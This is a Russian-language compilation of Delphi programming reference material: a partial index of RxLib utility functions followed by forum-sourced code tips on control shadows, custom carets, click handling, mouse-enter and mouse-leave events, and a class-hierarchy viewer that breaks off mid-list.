ReadFormPlacement - Процедура ReadFormPlacement используется для восстановления формы
RestoreFormPlacement - Процедура RestoreFormPlacement используется для восстановл. формы
RestoreGridLayout - Восстанавливает из INI-файла ширины колонок компонент TCustomGrid
RestoreMDIChildren - Создает и показывает MDIChild-формы
SaveFormPlacement - Процедура используется для сохранения состояния формы
SaveGridLayout
SaveMDIChildren
ShowDialog - Создание и модальное исполнение диалога
WriteFormPlacement - Процедура используется для сохранения состояния формы,

BdeUtils unit:

AsyncQrySupported - Функция возвращает True, если драйвер специфицированной базы данных Database поддерживает асинхронное выполнение запросов
CheckOpen - Функция служит для обрамления вызовов функций BDE API, открыв. курсоры
ConvertStringToLogicType - Процедура предназначена для конвертации строки Value в BDE,
CurrentRecordDeleted - Функция определяет, является ли текущая запись набора данных удаленной (помеченной как удаленная) или нет
DataSetFindValue - Функция пытается установить набор данных, переданный в качестве параметра DataSet, на первую от начала запись, удовлетворяющую заданному условию
DataSetPositionStr - Для драйверов DBase и Paradox функция возвращает строку, содержащую текущий номер записи и полное число записей в DataSet
DataSetRecNo - Функция возвращает номер текущей записи в DataSet.
DataSetShowDeleted - Процедура устанавливает режим показа удаленных записей в таблицах формата DBase.
DeleteRange - Удаление диапазона записей из таблицы.
ExecuteQuery - Процедура предназначена для выполнения SQL-запросов
ExportDataSet - Процедура служит для экспорта данных из таблицы БД или результата запроса Source в выходную таблицу DestTable.
FetchAllRecords
FieldLogicMap - Функция возвращает для конкретного значения FldType получить для целочисленное значение, идентифицирующее логический тип данных BDE.
GetAliasPath - Функция возвращает физический путь для алиаса (псевдонима) BDE
GetBDEDirectory - Функция возвращает имя каталога, в котором установлены библиотеки BDE InitRSRun - Инициализация RUNTIME ReportSmith.
IsBookmarkStable - Return True, if specified DataSet supports stable bookmarks
PackTable - Процедура предназначена для "упаковки" таблиц формата DBase и Paradox
RestoreIndex - Восстанавливает свойство IndexFieldNames у Table
SetIndex -Устанавливает свойство IndexFieldNames у Table
SetToBookmark - Функция устанавливает ADataSet в позицию, соответствующую переданному значению ABookmark
TransActive - Функция определяет, имеет ли база данных Database активную транзакцию и в этом случае возвращает True, в противном случае результат - False.

BoxProcs unit:

BoxDragOver - Предполагается вызывать из обработчика события OnDragOver.
BoxMoveAllItems - Копирует все элементы SrcList в DstList, затем очищает SrcList.
BoxMoveFocusedItem - Предполагается использовать в обработчике события OnDragDrop.
BoxMoveSelectedItems - Перемещает выделенные элементы из SrcList в DstList

ClipIcon unit:

AssignClipboardIcon - Процедура заполняет иконку Icon данными из буфера обмена (Clipboard)
CopyIconToClipboard
CreateIconFromClipboard - Функция создает объект класса TIcon, если буфер обмена (Clipboard) содержит данные в формате CF_ICON.
CreateRealSizeIcon - Функция создает иконку из объекта Icon класса TIcon
DrawRealSizeIcon - Функция рисует иконку Icon на устройстве Canvas,
GetIconSize - Процедура возвращает ширину и высоту иконки,

DateUtil unit:

CutTime - Устанавливает время в переданном аргументе ADate в значение 00:00:00:00.
DateDiff - Определяет разницу между датами, заданными Date1 и Date2 в днях, месяцах и годах.
DaysBetween - Вычисляет число дней между датами Date1 и Date2,
DaysInPeriod - Вычисляет число дней между датами Date1 и Date2
DaysPerMonth
DefDateFormat - Функция возвращает строку формата даты по ShortDateFormat,
DefDateMask - Функция возвращает строку маски для ввода даты
FirstDayOfNextMonth
FirstDayOfPrevMonth
GetDateOrder - Функция возвращает порядок расположения дня, месяца и года в формате даты,
IncDate - Увеличивает дату ADate на заданное количество дней, месяцев и лет, возвращая полученную дату как результат.
IncDay - Увеличивает дату на заданное количество дней, возвращая полученную датуIncHour
IncMinute - Увеличивает время на заданное количество минут, возвращая полученное время IncMonth
IncMSec
IncSecond
IncTime - Увеличивает время на заданное количество часов, минут, секи мс, возвращая время IncYear
IsLeapYear- Проверяет является ли заданный параметром AYear год високосным.
LastDayOfPrevMonth
MonthsBetween
StrToDateDef - Функция преобразует строку в дату в соответствии с форматом ShortDateFormat
StrToDateFmt
StrToDateFmtDef
ValidDate - Функция определяет, представляет ли собой аргумент ADate действительное значение существующей даты.

DBFilter unit

DropAllFilters - Процедура деактивирует все фильтры, установленные ранее на набор данных DataSet, и освобождает захваченные ими ресурсы.

DBUtils unit:

AssignRecord - Процедура предназначена для копирования значений полей из текущей записи набора данных Source в поля текущей записи набора данных Dest,
CheckRequiredField - Процедура проверяет заполнение поля Field значением, отличным от NULL
ConfirmDataSetCancel - Процедура проверяет, находится ли переданный набор данных DataSet в режиме вставки или замены, модифицированы ли данные текущей записи, и если да, то запрашивает, надо ли сохранять сделанные изменения.
ConfirmDelete - Функция вызывает появление диалога с запросом подтверждения на удаление записи, аналогичного диалогу, появляющемуся у TDBGrid.
DataSetSortedSearch - Функция пытается установить набор данных, переданный в качестве параметра , на первую от начала запись, удовлетворяющую заданному условию
FormatAnsiSQLCondition - Функция сходна по назначению и результатам с FormatSQLCondition
FormatSQLCondition - Функция возвращает строковое выражение, соответствующее записи логического условия на языке SQL. Используется, в основном, для подстановки параметров (макросов) TRxQuery.
FormatSQLDateRange - Возвращает логическое условие для языка SQL нахождения значения поля, заданного FieldName в интервале, заданном Date1 и Date2. Учитываются особые случаи:
RefreshQuery - Процедура "обновляет" данные для набора данных
RestoreFields - Процедура восстанавливает из INI-файла IniFile аттрибуты полей набора данных, заданного в DataSet.
SaveFields

FileUtil unit:

BrowseComputer - BrowseComputer brings up a dialog to allow the user to select a network computer
BrowseDirectory
ClearDir
CopyFile
DeleteFiles
DeleteFilesEx
DirExists - The DirExists function determines whether the directory specified as the value of the Name parameter exists.
FileDateTime
FileLock - he FileLock function locks a region in an open file
FileUnlock
GetFileSize - Функция возвращает размер в байтах файла, заданного параметром FileName.
GetSystemDir - The GetSystemDir function retrieves the path of the Windows system directory
GetTempDir
GetWindowsDir
HasAttr - Функция возвращает True, если файл FileName имеет аттрибут Attr.
LongToShortFileName
LongToShortPath
MoveFile - Процедура перемещает или переименовывает FileName в файл с именем DestName.
NormalDir - Функция служит для нормализации имени каталога
ShortToLongFileName
ShortToLongPath
ValidFileName - Функция определяет, является ли имя, переданное как параметр FileName, допустимым именем файла.

MaxMin unit:

Max
MaxFloat - Функция MaxFloat возвращает наибольшее число из массива действительных чисел .
MaxInteger - Функция MaxInteger возвращает наибольшее число из массива целых чисел
MaxOf - Функция MaxOf возвращает наибольшее значение из массива значений Values
Min
MinFloat
MinInteger
MinOf
SwapInt - Процедура взаимно заменяет значения двух аргументов Int1 и Int2 между собой.
SwapLong

Parsing unit:

GetFormulaValue - Функция вычисляет результат математического выражения, заданного параметром Formula. Для вычислений используется объект типа TRxMathParser.

PickDate unit:

PopupDate - Функция PopupDate вызывает появление диалога выбора даты
SelectDate - Функция SelectDate позволяет пользователю выбрать дату, используя диалог выбора даты с календарем и кнопками навигации
SelectDateStr - Функция полностью аналогична функции SelectDate, за исключением того, что значение даты передается в нее в виде строки.

RxGraph unit:

BitmapToMemory
GetBitmapPixelFormat
GrayscaleBitmap - This procedure transforms a color bitmap image into grayscale
SaveBitmapToFile
SetBitmapPixelFormat - Процедура позволяет изменить число цветов (бит на пиксель), используемое для отрисовки битового изображения ABitmap

RxHook unit

FindVirtualMethodIndex - Функция находит индекс виртуального метода объекта класса AClass по адресу метода MethodAddr.
GetVirtualMethodAddress
SetVirtualMethodAddress

RxMenus Unit

procedure SetDefaultMenuFont(AFont: TFont);

RxShell unit

FileExecute
FileExecuteWait - Функция полностью аналогична функции FileExecute, но в отличие от нее приостанавливает выполнение вызвавшего ее потока до завершения запущенного приложения.
IconExtract - Функция создает объект класса TIcon из ресурсов исполнимого файла FileName
WinAbout - Процедура вызывает стандартное диалоговое окно "About" системы MSWindows.

Speedbar Unit

function FindSpeedBar(const Pos: TPoint): TSpeedBar;

SplshWnd Unit

ShowSplashWindow - Функция создает и отображает форму без заголовка с установленным стилем fsStayOnTop, которую можно использовать как заставку при загрузке приложения или при выполнении длительных операций

StrUtils unit:

AddChar - Добавляет слева к стpоке S символы C до длины S=N.
AddCharR - Добавляет справа к стpоке S символы C до длины S=N.
AnsiProperCase - Returns string, with the first letter of each word in uppercase, all other letters in lowercase.
CenterStr
CompStr - Сравнивает строки S1 и S2 (с учетом регистра)
CompText - Сравнивает строки S1 и S2 (без учета регистра)
Copy2Space - Копирует с начала строки до первого пробела.
Copy2SpaceDel - Копирует с начала строки до первого пробела и удаляет эту часть
Copy2Symb - Копирует с начала строки S до первого символа Symb и возвращает эту часть исходной строки.
Copy2SymbDel
Dec2Hex - Пpеобpазует целое число N в шестнадцатеричное число, дополняя слева нулями до длины A.
Dec2Numb - Пpеобpазует целое число N в число по основанию B, дополняя слева нулями до длины A.
DelBSpace - Функция удаляет ведущие пpобелы из стpоки S.
DelChars - Функция даляет все символы Сhr из строки S.
DelESpace - Функция удаляет конечные пpобелы из стpоки S.
DelRSpace - Функция удаляет начальные и конечные пpобелы из стpоки S.
DelSpace - Функция удаляет все пробелы из строки.
DelSpace1 - Функция удаляет все, кpоме одного, пpобелы из стpоки S.
ExtractDelimited - Функция аналогична функции ExtractWord
ExtractQuotedString - ExtractQuotedString removes the Quote characters from the beginning and end of a quoted string
ExtractSubstr - Функция предназначена для выделения подстроки из строки S, если подстроки разделены символами из набора Delims.
ExtractWord - Выделяет N-ое слово из строки S, используя WordDelims (типа TCharSet) как разделитель между словами.
ExtractWordPos - Выделяет N-ое слово из строки S, используя WordDelims (типа TCharSet) как разделитель между словами
FindCmdLineSwitch
FindPart - FindCmdLineSwitch determines whether a string was passed as a command line argument to the application.
GetCmdLineArg - GetCmdLineArg определяет, имеется ли параметр Switch среди параметров командной строки, переданных в приложение, и возвращает значение этого параметра
Hex2Dec - Пpеобpазует шестнадцатеpичное число в стpоке S в целое десятичное.
IntToRoman - IntToRoman converts the given value to a roman numeric string representation.
IsEmptyStr - Функция возвращает True, если строка S содержит только символы из EmptyChars.
IsWild - Функция IsWild сравнивает строку InputString со строкой WildCard, содержащей символы маски, и возвращает True, если строка InputStr соответствует маске.
IsWordPresent - Определяет, присутствует ли слово W в строке S, используя символы
WordDelims как возможные разделители между словами.
LeftStr - Добавляет строку S до длины N справа.
MakeStr - Фоpмиpует стpоку из N символов C.
MS - Фоpмиpует стpоку из N символов C.
Npos - Ищет позицию N-го вхождения подстроки C в стpоке S.
Numb2Dec - Пpеобpазует число по основанию B в стpоке S в целое десятичное.
Numb2USA - Пpеобpазует числовую стpоку S к фоpмату США. Напpимеp: Входная стpока: '12365412'; Выходная стpока: '12,365,412'.
OemToAnsiStr - OemToAnsiStr translates a string from the OEM character set into the Windows character set.
QuotedString - QuotedString returns the given string as a quoted string, using the provided
Quote character.
ReplaceStr - Функция заменяет в строке S все вхождения подстроки Srch на подстроку, переданную в качестве аргумента Replace.
RightStr - Добавляет строку S до длины N слева.
RomanToInt - RomanToInt converts the given string to an integer value.
StrToOem - Конвертирует переданную в качестве аргумента AnsiStr строку (в ANSI-кодировке Windows) в кодировку OEM.
Tab2Space - Преобразует знаки табуляции в строке S в Numb пробелов.
WordCount - Считает число слов в строке S, используя параметр WordDelims (типа TCharSet) как разделитель между словами.
WordPosition - Возвращает позицию первого символа N-го слова в строке S, используя параметр WordDelims (типа TCharSet) как разделитель между словами.

VCLUtils unit:

ActivatePrevInstance - Функция ActivatePrevInstance предназначена для активизации предыдущей копии приложения
ActivateWindow - Процедура ActivateWindow активизирует окно Windows, обработчик которого специфицируется параметром Wnd.
AllocMemo - Функция предназначена для динамического выделения блока памяти размером Size.
AnsiUpperFirstChar - Функция приводит к верхнему регистру первый символ в переданной строке S, используя набор символов ANSI.
AssignBitmapCell - Процедура копирует прямоугольную область из картинки Source в битовое изображение Dest,
CenterControl - Процедура центрирует элемент управления Control относительно "родителя"
CenterWindow - Процедура центрирует окно Wnd на экране дисплея.
ChangeBitmapColor - создает новое графическое изображение, являющееся копией переданного, однако заменяя цвет всех точек изображения,
CompareMem - Функция CompareMem сравнивает содержимое двух блоков памяти
CopyParentImage - Процедура копирует в заданный контекст устройства Dest изображение,
CreateBitmapFromIcon
CreateIconFromBitmap
CreateRotatedFont - Создает "наклонный" шрифт
CreateTwoColorsBrushPattern - Функция создает битовое изображение, состоящее из точек двух цветов: Color1 и Color2, чередующихся в шахматном порядке.
DefineCursor - Загружает курсор из ресурса исполняемого модуля и определяет его уникальный индекс в массиве курсоров Screen.Cursors.
Delay - Процедура вызывает задержку выполнения программы на заданное параметром MSecs число миллисекунд.
DialogUnitsToPixelsX - Функция преобраз. диалоговые единицы в пиксели по горизонтали.
DialogUnitsToPixelsY
DrawBitmapRectTransparent - Процедура DrawBitmapRectTransparent рисует на устройстве Dest прямоугольный участок графического изображения
DrawBitmapTransparent - Процедура DrawBitmapTransparent рисует на устройстве Dest графическое изображение Bitmap
DrawCellBitmap - Процедура DrawCellBitmap предназначена для отрисовки битового изображения Bmp
DrawCellText - для отрисовки строки текста S в ячейке объекта - наследника TCustomGrid.
DrawInvertFrame - Процедура рисует на экране инвертированную рамку, определяемую координатами ScreenRect
FreeMemo - Процедура освобождает память, выделенную функцией AllocMemo.
FreeUnusedOLE
GetEnvVar - Возвращает значение переменной окружения DOS, заданной параметром VarName.
GetMemoSize - Функция GetMemoSize возвращает размер блока памяти, выделенного функцией
AllocMemo.
GetWindowsVersion - Функция возвращает версию Windows в виде строки, содержащей название платформы и номер версии операционной системы.
GradientFillRect - Процедура GradientFillRect рисует прямоугольник Rect на устройстве Canvas, цвет которого плавно изменяется от BeginColor до EndColor в направлении Direction.
HeightOf - Функция возвращает высоту (в пикселях) переданного прямоугольника R.
HugeDec - Decrement a huge pointer.
HugeInc
HugeMove
HugeOffset
ImageListDrawDisabled - Процедура рисует изображение из списка Images, заданное индексом Index, на устройстве Canvas с координатами X, Y
IsForegroundTask - Функция проверяет, является ли приложение, вызвавшее эту функцию, текущей активной (foreground) задачей Windows.
KillMessage - KillMessage deletes the requested message Msg from the window message queue
LoadAniCursor - The LoadAniCursor function loads the specified animated cursor resource from the executable (.EXE or .DLL) file associated with the specified application instance.
LoadDLL - Функция загружает динамическую библиотеку или модуль, заданный именем
LibName.
MakeBitmap - Функция создает объект класса TBitmap из ресурса вашего приложения.
MakeBitmapID - Функция создает объект класса TBitmap из ресурса вашего приложения.
MakeIcon - Функция создает объект класса TIcon из ресурса вашего приложения.
MakeIconID
MakeModuleBitmap - Функция создает объект класса TBitmap из ресурса любого загруженного модуля (исполняемого файла или DLL)
MakeModuleIcon - Функция создает объект класса TIcon из ресурса любого загруженного модуля (исполняемого файла или DLL).
MergeForm - Процедура предназначена для вставки обычной формы AForm (например, созданной в дизайнере и загруженной из DFM-файла) в элемент управления AControl.
MinimizeText - Эта функция может быть использована для того, чтобы сократить текстовую строку Text до длины, позволяющей отобразить ее целиком на устройстве Canvas на участке длиной MaxWidth.
MsgBox - Функция представляет собой оболочку стандартной функции Windows API MessageBox, только в качестве параметров принимает не PChar, а строки в формате языка Pascal.
NotImplemented - Процедура вызывает появление диалогового окна с сообщением "Функция не реализована" ("Function not yet implemented"), PaintInverseRect
PixelsToDialogUnitsX - Функция преобр пиксели в диалоговые единицы по горизонтали.
PixelsToDialogUnitsY
PointInPolyRgn - Функция возвращает True, если точка с координатами P расположена внутри региона, ограниченного фигурой с вершинами, заданными набором точек Points.
PointInRect - Функция возвращает True, если точка с координатами P расположена внутри прямоугольника R.
RegisterServer - Функция предназначена для регистрации в Windows элементов управления OLE (OCX, ActiveX)
ResourceNotFound - Процедура предназначена для вывода сообщения об ошибке (с генерацией исключения EResNotFound) при ошибке загрузки ресурса из исполняемого файла.
ShadeRect - Процедура служит для "штриховки" прямоугольника Rect
SplitCommandLine - Процедура SplitCommandLine разделяет командную строку запуска любой программы на имя исполняемого файла и строку параметров.
StartWait - Процедура StartWait меняет изображение курсора мыши на экране на то, которое определено типизированной константой WaitCursor (по умолчанию crHourGlass), и увеличивает счетчик вызовов StartWait на 1.
StopWait - Процедура StopWait восстанавливает изображение курсора мыши на экране по умолчанию, если оно было изменено процедурой StartWait.
WidthOf - Функция возвращает ширину (в пикселях) переданного прямоугольника R.
Win32Check - Процедура предназначена для использования при вызове функций Win32 API, возвращающих значение типа BOOL, которое определяет, успешно ли выполнилась функция Win32 API.

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru


Как сделать, чтобы компоненты отбрасывали тень?

procedure ShadeIt(f: TForm; c: TControl; Width: Integer; Color: TColor);
var
  rect: TRect;
  old: TColor;
begin
  if (c.Visible) then
  begin
    rect := c.BoundsRect;
    rect.Left := rect.Left + Width;
    rect.Top := rect.Top + Width;
    rect.Right := rect.Right + Width;
    rect.Bottom := rect.Bottom + Width;
    old := f.Canvas.Brush.Color;
    f.Canvas.Brush.Color := Color;
    f.Canvas.fillrect(rect);
    f.Canvas.Brush.Color := old;
  end;
end;

procedure TForm1.FormPaint(Sender: TObject);
var
  i: Integer;
begin
  for i := 0 to Self.ControlCount - 1 do
    ShadeIt(Self, Self.Controls[i], 3, clBlack);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как создать каретку свой собственной формы?

{
  The example below demonstrates creating custom caret:
}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Image1: TImage;
    Edit1: TEdit;
    procedure Memo1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure Edit1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Memo1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  CreateCaret(Memo1.Handle, Image1.Picture.Bitmap.Handle, 0, 0);
  ShowCaret(Memo1.Handle);
end;

procedure TForm1.Edit1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  CreateCaret(Edit1.Handle, 0, 10, 4);
  ShowCaret(Edit1.Handle);
end;

end.

{The form file source (*.dfm) }

object Form1: TForm1
  Left = 192
  Top = 107
  Width = 544
  Height = 375
  Caption = 'Form1'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object Image1: TImage
    Left = 12
    Top = 4
    Width = 16
    Height = 16
    AutoSize = True
    Picture.Data = {
      07544269746D6170B6020000424DB602000000000000B6000000280000001000
      0000100000000100100000000000000200000000000000000000100000000000
      000000000000000080000080000000808000800000008000800080800000C0C0
      C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFF
      FF00000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      000000000000FF7FFF7FFF7FFF7F000000000000FF7FFF7FFF7FFF7FFF7FFF7F
      00000000FF7FFF7FFF7FFF7F000000000000FF7FFF7FFF7FFF7FFF7FFF7F0000
      0000FF7FFF7FFF7FFF7FFF7F00000000FF7FFF7FFF7FFF7FFF7FFF7FFF7F0000
      000000000000FF7FFF7FFF7F0000000000000000FF7FFF7FFF7FFF7F00000000
      0000000000000000FF7FFF7FFF7FFF7FFF7FFF7FFF7FFF7FFF7FFF7F00000000
      0000000000000000FF7FFF7FFF7FFF7FFF7FFF7FFF7FFF7FFF7F000000000000
      0000000000000000FF7FFF7FFF7F00000000FF7FFF7FFF7FFF7F000000000000
      00000000000000000000FF7FFF7FFF7FFF7FFF7FFF7FFF7F0000000000000000
      00000000000000000000FF7FFF7FFF7FFF7FFF7FFF7FFF7F0000000000000000
      000000000000000000000000FF7FFF7FFF7FFF7FFF7FFF7F0000000000000000
      000000000000000000000000FF7FFF7FFF7FFF7FFF7F00000000000000000000
      0000000000000000000000000000FF7FFF7FFF7FFF7F00000000000000000000
      0000000000000000000000000000FF7FFF7FFF7F000000000000000000000000
      00000000000000000000000000000000FF7F0000000000000000000000000000
      0000}
  end
  object Memo1: TMemo
    Left = 12
    Top = 36
    Width = 149
    Height = 149
    Lines.Strings = ('Memo1')
    TabOrder = 0
    OnMouseDown = Memo1MouseDown
  end
  object Edit1: TEdit
    Left = 220
    Top = 60
    Width = 121
    Height = 21
    TabOrder = 1
    Text = 'Edit1'
    OnMouseDown = Edit1MouseDown
  end
end

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как разделить обработку OnClick и OnDblClick? Ведь OnClick будет вызываться всегда, и перед DblClick.

Именно так и происходит в Windows - посылаются оба сообщения. Для того чтобы обработать только какое-то одно событие необходимо чуть "задержать" выполнение OnClick. Сделать это можно следующим способом:

procedure TForm1.ListBox1Click(Sender: TObject);
var
  Msg: TMsg;
  TargetTime: Longint;
begin
 { get the maximum time to wait for a double-click message }
  TargetTime := GetTickCount + GetDoubleClickTime;
 { cycle until DblClick received or wait time run out }
  while GetTickCount < TargetTime do
    if PeekMessage(Msg, ListBox1.Handle, WM_LBUTTONDBLCLK, WM_LBUTTONDBLCLK, WM_NOREMOVE)
      then Exit; { Double click }
  MessageDlg('Single clicked', mtInformation, [mbOK], 0);
end;


Как добавить событие OnMouseLeave?

Все потомки TComponent могут посылать сообщения CM_MOUSEENTER и CM_MOUSELEAVE во время вхождения и покидания курсора мыши области компонента. Если вам необходимо, чтобы ваши компоненты обладали реакцией на эти события, необходио написать для них соответствующие обработчики.

procedure CMMouseEnter(var msg:TMessage); message CM_MOUSEENTER;
procedure CMMouseLeave(var msg: TMessage); message CM_MOUSELEAVE;
..
..
..
procedure MyComponent.CMMouseEnter(var msg:TMessage);
begin

inherited;
{действия на вход мыши в область компонента}
end;

procedure MyComponent.CMMouseLeave(var msg: TMessage);
begin

inherited;
{действия на покидание мыши области компонента}
end;

Дополнение

Часто приходится сталкиваться с ситуацией, когда необходимо обработать два важных события для визуальных компонентов:

MouseEnter - когда событие мыши входит в пределы визуального компонента;
MouseLeave - когда событие мыши оставляет его пределы.
Известно, что все Delphi объявляет эти сообщения в виде:
Cm_MouseEnter;
Cm_MouseLeave.
Т.е. все визуальные компоненты, которые порождены от TControl, могут отлавливать эти события. Следующий пример показывает как создать наследника от TLabel и добавить два необходимых события OnMouseLeave и OnMouseEnter.

(*///////////////////////////////////////////////////////*)
(*// Author: Briculski Serge
(*// E-Mail: bserge@airport.md
(*// Date: 26 Apr 2000
(*///////////////////////////////////////////////////////*)

unit BS_Label;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TBS_Label = class(TLabel)
  private
    { Private declarations }
    FOnMouseLeave: TNotifyEvent;
    FOnMouseEnter: TNotifyEvent;
    procedure CMMouseEnter(var Message: TMessage); message CM_MOUSEENTER;
    procedure CMMouseLeave(var Message: TMessage); message CM_MOUSELEAVE;
  protected
    { Protected declarations }
  public
    { Public declarations }
  published
    { Published declarations }
    property OnMouseLeave: TNotifyEvent read FOnMouseLeave write FOnMouseLeave;
    property OnMouseEnter: TNotifyEvent read FOnMouseEnter write FOnMouseEnter;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Custom', [TBS_Label]);
end;

{ TBS_Label }

procedure TBS_Label.CMMouseEnter(var Message: TMessage);
begin
  if Assigned(FOnMouseEnter) then
    FOnMouseEnter(Self);
end;

procedure TBS_Label.CMMouseLeave(var Message: TMessage);
begin
  if Assigned(FOnMouseLeave) then
    FOnMouseLeave(Self);
end;

end.

Взято с http://delphiworld.narod.ru


Иерархия классов

Следующий модуль строит дерево классов

unit InfoForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  StdCtrls, ExtCtrls, Buttons, Clipbrd, Comctrls, Db, Dbcgrids,
  Dbctrls, Dbgrids, Dblookup, Dbtables, Dialogs,
  Filectrl, Grids, Mask, Menus, Mplayer, Oleconst, Olectnrs,
  Olectrls, Outline, Tabnotbk, Tabs, IniFiles, Printers,
  Registry, DsgnIntf, Provider, BdeProv, DBClient,
  ComObj, ActiveX, DDEMan, IBCtrls, Math, Nsapi, Isapi,
  ScktComp, Axctrls, Calendar, CgiApp, checklst,
  ColorGrd, ComServ, syncobjs, httpapp, dbweb, DirOutln,
  Gauges, DsIntf, ToolIntf, EditINtf, ExptIntf, VirtIntf,
  istreams, isapiapp, dblogdlg, masks, ExtDlgs, Spin;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Panel1: TPanel;
    TreeView1: TTreeView;
    ProgressBar1: TProgressBar;
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
    procedure Button2Click(Sender: TObject);
  private
    function AddClass (NewClass: TClass): TTreeNode;
    function GetNode (BaseClass: TClass): TTreeNode;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

type
  TClassArray = array [1..498] of TClass;

const
  ClassArray: TClassArray = (
EAbort,
EAccessViolation,
EAssertionFailed,
EBitsError,
EClassNotFound,
EComponentError,
EControlC,
EConvertError,
EDatabaseError,
EDateTimeError,
EDBClient,
EDBEditError,
EDBEngineError,
EDivByZero,
EExternalException,
EFCreateError,
EFilerError,
EFOpenError,
EIBError,
EInOutError,
EIntError,
EIntfCastError,
EIntOverflow,
EInvalidArgument,
EInvalidCast,
EInvalidContainer,
EInvalidGraphic,
EInvalidGraphicOperation,
EInvalidGridOperation,
EInvalidImage,
EInvalidInsert,
EInvalidOp,
EInvalidOperation,
EInvalidPointer,
EListError,
EMathError,
EMCIDeviceError,
EMenuError,
EMethodNotFound,
ENoResultSet,
EOleCtrlError,
EOleError,
EOleException,
EOleException,
EOleSysError,
EOutlineError,
EOutOfMemory,
EOutOfResources,
EOverflow,
EPackageError,
EParserError,
EPrinter,
EPrivilege,
EPropertyError,
EPropReadOnly,
EPropWriteOnly,
ERangeError,
EReadError,
EReconcileError,
ERegistryException,
EResNotFound,
ESocketError,
EStackOverflow,
EStreamError,
EStringListError,
EThread,
ETreeViewError,
EUnderflow,
EUpdateError,
EVariantError,
EWin32Error,
EWriteError,
Exception,
EZeroDivide,
OutlineError,
TActiveForm,
TActiveFormControl,
TActiveFormFactory,
TActiveXControl,
TActiveXControlFactory,
TActiveXPropertyPage,
TActiveXPropertyPageFactory,
TAdapterNotifier,
TAggregatedObject,
TAnimate,
TApplication,
TAutoIncField,
TAutoIntfObject,
TAutoObject,
TAutoObjectFactory,
TBatchMove,
TBCDField,
TBDECallback,
TBDEDataSet,
TBevel,
TBinaryField,
TBitBtn,
TBitmap,
TBitmapImage,
TBits,
TBlobField,
TBlobStream,
TBookmarkList,
TBooleanField,
TBoolProperty,
TBrush,
TButton,
TButtonControl,
TBytesField,
TCalendar,
TCanvas,
TCaptionProperty,
TCGIApplication,
TCGIRequest,
TCGIResponse,
TChangeLink,
TCharProperty,
TCheckBox,
TCheckConstraint,
TCheckConstraints,
TCheckListBox,
TClassProperty,
TClientDataSet,
TClientSocket,
TClientWinSocket,
TClipboard,
TCollection,
TCollectionItem,
TColorDialog,
TColorGrid,
TColorProperty,
TColumn,
TColumnTitle,
TComboBox,
TComboButton,
TComClassManager,
TCommonDialog,
TCommonDialog,
TComObject,
TComObjectFactory,
TComponent,
TComponentEditor,
TComponentList,
TComponentNameProperty,
TComponentProperty,
TComServer,
TComServerObject,
TComServerObject,
TConnectionPoint,
TConnectionPoints,
TContainedObject,
TControl,
TControlCanvas,
TControlScrollBar,
TConversion,
TCoolBand,
TCoolBands,
TCoolBar,
TCriticalSection,
TCurrencyField,
TCursorProperty,
TCustomAdapter,
TCustomAdapter,
TCustomCheckBox,
TCustomComboBox,
TCustomControl,
TCustomDBGrid,
TCustomEdit,
TCustomForm,
TCustomGrid,
TCustomGroupBox,
TCustomHotKey,
TCustomImageList,
TCustomLabel,
TCustomListBox,
TCustomListView,
TCustomMaskEdit,
TCustomMemo,
TCustomMemoryStream,
TCustomModule,
TCustomOutline,
TCustomPageProducer,
TCustomPanel,
TCustomProvider,
TCustomRadioGroup,
TCustomRemoteServer,
TCustomRemoteServer,
TCustomRichEdit,
TCustomServerSocket,
TCustomSocket,
TCustomStaticText,
TCustomTabControl,
TCustomTreeView,
TCustomUpDown,
TCustomWebDispatcher,
TCustomWinSocket,
TDatabase,
TDataLink,
TDataModule,
TDataSet,
TDataSetDesigner,
TDataSetTableProducer,
TDataSetUpdateObject,
TDataSetUpdateObject,
TDataSource,
TDataSourceLink,
TDateField,
TDateProperty,
TDateTimeColors,
TDateTimeField,
TDateTimePicker,
TDBCheckBox,
TDBComboBox,
TDBCtrlGrid,
TDBCtrlGridLink,
TDBCtrlPanel,
TDBDataSet,
TDBEdit,
TDBError,
TDBGrid,
TDBGridColumns,
TDBImage,
TDBListBox,
TDBLookupCombo,
TDBLookupComboBox,
TDBLookupControl,
TDBLookupList,
TDBLookupListBox,
TDBMemo,
TDBNavigator,
TDBRadioGroup,
TDBRichEdit,
TDBText,
TDdeClientConv,
TDdeClientItem,
TDdeMgr,
TDdeServerConv,
TDdeServerItem,
TDefaultEditor,
TDesigner,
TDirectoryListBox,
TDirectoryOutline,
TDragControlObject,
TDragObject,
TDrawGrid,
TDriveComboBox,
TDSTableProducer,
TDSTableProducerEditor,
TEdit,
TEnumPropDesc,
TEnumProperty,
TEvent,
TEventDispatch,
TField,
TFieldDataLink,
TFieldDef,
TFieldDefs,
TFileListBox,
TFiler,
TFileStream,
TFilterComboBox,
TFindDialog,
TFloatField,
TFloatProperty,
TFont,
